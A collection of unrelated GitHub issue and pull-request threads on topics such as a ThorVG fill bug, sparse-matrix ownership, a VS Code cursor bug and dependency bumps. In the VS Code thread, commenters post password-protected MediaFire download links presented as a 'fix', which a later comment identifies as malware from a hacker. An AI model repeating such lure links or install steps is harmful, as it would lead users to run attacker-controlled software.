Thanks! Can you show an example code snippet to demonstrate?

@BGW1001 ,
Thanks for the note. I am working on adding model as a top level object on the build UI , such that these model configs get reused.
Your feedback helps prioritize this!!
Thanks

Hi @BGW1001 ,
Thanks for the note. I agree.
We are currently working to make Models a first class object on the build interface to facilitate reuse like you mention.
I'll keep this issue updated with progress.

This has been addressed. Will close this out now. Thanks.


Adjusts to the newly acquired knowledge about the LSE API

The API has some source entries without IDs, so this changes our
grouping method to use title.

as titles are empty sometimes (http://localhost:3000/countries/MEX#laws-and-policies) maybe we can solve that on FE checking if title is truthy and give the card a different title: https://github.com/Vizzuality/climate-watch/blob/develop/app/javascript/app/components/slide-cards/slide-cards-component.jsx#L66

It seems that it's a bug on their API (see latest email from Phil), so maybe this won't happen again. But we can put a safeguard in place anyway. What do you think?

We could have a generic title just in case


What's the meaning of the logo?

This lib is amazing. But I can't get the point of the logo.
Thanks.

I don’t know if it has a meaning. I asked an artist to draw me something with elephants and this is what I got.
I chose elephants as they never forget which is the kind of quality you want in a promise.

Further, since promises enjoy monadic properties, it’s only fitting that one elephant defines the shape of another elephant. Put another way: Elephants, like promises and other monads, have the closure property.

This is now officially the stupidest thing I've ever fell in love with.
My ex will be thrilled.


Shapes are sometimes not filled when using update

You can recreate this issue with this example: example
Just switch betweent '1' and '2', you will see that some of the shapes are sometimes not drawn.
This happens when we use fill between push and update_paint, like so:
shape = tvg_shape_new();
tvg_shape_append_rect(shape, 0, 0, 100, 100, 0, 0);
tvg_shape_push(canvas, shape);
tvg_shape_set_fill_color(shape, 0, 0, 255, 255); // if this was moved up one line, it would always work
tvg_canvas_update_paint(canvas, shape);
tvg_canvas_draw(canvas);
tvg_canvas_sync(canvas);

Whole window should be filled with rectangles, but some of them are not drawn

@MathewP1  Will check soon

fixed by this:
https://github.com/Samsung/thorvg/pull/104


[Notify] Sample Subscription and Preferences screens

Description

Resolves # (issue)
How Has This Been Tested?

Due Dilligence

[ ] Breaking change
[ ] Requires a documentation update

also from the screen recording I can see that images are not cashed and they appear black first on every scroll up and down


Copy device_matrix_data into arrays

This PR changes the behavior for the read(const device_matrix_data&) overload for Coo and Csr.
Currently, the const & read overload copies the input device_matrix_data and moves it into the && overload. The && overload will cause the internal arrays of the matrix to use the arrays of the device_matrix_data. This means that if the matrix was created from views, the matrix after the read will have owning arrays.
For the && overload this is justified, since here the matrix takes ownership of the input data. But for the const & it's unexpected, since no ownership is transferred. So, this PR makes the const & copy the input device matrix data directly into the matrix's arrays. The ownership property of the internal arrays will thus be preserved.
Note: The behavior of the && overload is a bit inconsistent across our matrix types. For Coo and Csr the && overload will result in the matrix arrays having ownership. But for all other matrix types, the ownership property is not changed. Maybe we should consolidate that.

This fixes an issue in #1450

format!

Another question: how should const matrix_data& be handled. Currently it calls device_matrix_data&& internally, so it moves into the stored arrays. Should that stay, or also call const device_matrix_data&?

This only applies to Csr and Coo only, right? In that case, I would suggest calling aos_to_soa directly onto the arrays inside the matrix, i.e. combining the copy with the transformation

I do not think the device_matrix_data view means the matrix also be a view on it.
If user want the Coo view on the device_matrix_data view, they can use the Coo constructor rather than the read

I'm not understanding this. Do you want to see something changed?


multi cursor collapse to single cursor when using ctrl + left/right arrow

Does this issue occur when all extensions are disabled?: Yes

VS Code Version: 1.92.2
OS Version: windows11

Steps to Reproduce:

use alt + shift + ctrl + up/down to create multi cursor
use ctrl + left/right to move cursor

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@bkballoon thanks for reply, but i can not run it successfully

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue, https://app.mediafire.com/9mrkd33xulszl password: changeme when you installing, you need to place a check in install to path and select "gcc."

thank you, i tried but the cmd closed itslef and the problem remains

i dont know why but the problem disappears, i will colse the issue

the mediafire  link above was from a hacker, if you downloaded and ran it your machine is now under their control.


docs: code-only headers are not descriptive

From: #117.
Authors do not provide alternate text for some snippets, so we have to guess what to call each method/property. Consequently, when listing different forms of arguments for some methods, subsequent headers will point to their parent (see react-spring/classes/spring-value#start).
This creates some practical and accessibility-related concerns since we don't have meaningfully descriptive text for screen-readers, and perma-links do not describe what they reference -- only the parent.
If we pursue custom flavors of markdown (similar to Pedro Duarte's), I'd suggest giving authors a way to label their headers and have that reflected in the generated links.

Resolved in #180.


Update sbt-typelevel-ci-release, ... to 0.6.6

About this PR
📦 Updates

org.typelevel:sbt-typelevel-ci-release
org.typelevel:sbt-typelevel-mergify

from 0.4.22 to 0.6.6
📜 GitHub Release Notes - Version Diff
Usage
✅ Please merge!
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

⚙ Adjust future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.typelevel" } ]

Or, add this to slow down future updates of this dependency:
dependencyOverrides = [{
  pullRequests = { frequency = "30 days" },
  dependency = { groupId = "org.typelevel" }
}]

labels: sbt-plugin-update, early-semver-major, semver-spec-minor, version-scheme:early-semver, commit-count:n:2

Superseded by #126.


nagios: 4.5.4 -> 4.5.6

Description of changes
https://github.com/NagiosEnterprises/nagioscore/compare/nagios-4.5.4...nagios-4.5.6
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Result of nixpkgs-review pr 342602 run on x86_64-linux 1

1 package built:

nagios

nixpkgs-review result
Generated using nixpkgs-review.
Command: nixpkgs-review pr 342602

x86_64-linux

:white_check_mark: 1 package built:

nagios

aarch64-darwin

:white_check_mark: 1 package built:

nagios